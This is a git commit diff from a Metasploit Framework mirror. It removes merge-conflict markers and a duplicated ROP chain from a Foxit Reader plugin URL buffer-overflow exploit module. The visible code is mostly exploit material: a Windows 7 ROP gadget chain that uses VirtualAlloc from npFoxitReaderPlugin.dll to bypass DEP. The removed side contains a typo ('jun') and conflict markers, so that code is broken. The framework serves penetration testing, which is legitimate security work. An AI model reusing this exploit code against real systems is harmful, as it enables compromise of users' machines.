infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Bleh, I fucked up this file

bug/bundler_fix
sinn3r 2013-02-21 10:10:39 -06:00
parent 14f02e068f
commit e5e47a3485
1 changed files with 0 additions and 31 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
View File

@ -96,46 +96,16 @@ class Metasploit3 < Msf::Exploit::Remote
return rand_text_alpha(4).unpack("L")[0].to_i
end
<<<<<<< HEAD
=======
def nops
make_nops(4).unpack("N*")
end
>>>>>>> ee707904b08d61c2cb240ef8d052fef9e3d2c87d
# Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
def win7_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
<<<<<<< HEAD
0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
junk, # Filler (RETN offset compensation)
0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll]
0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
0x00001000, # 0x00001000-> edx
0x1000d9ec, # XOR EDX, EDX # RETN
0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
jun, # Filler (compensate)
0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
junk, # Filler (RETN offset compensation)
junk, # Filler (RETN offset compensation)
junk, # Filler (RETN offset compensation)
junk, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
0x00000001, # 0x00000001-> ebx
0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
0x90909090, # nop
0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
=======
0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
@ -161,7 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote
0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
nops,
0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
>>>>>>> ee707904b08d61c2cb240ef8d052fef9e3d2c87d
].flatten.pack("V*")
return rop_gadgets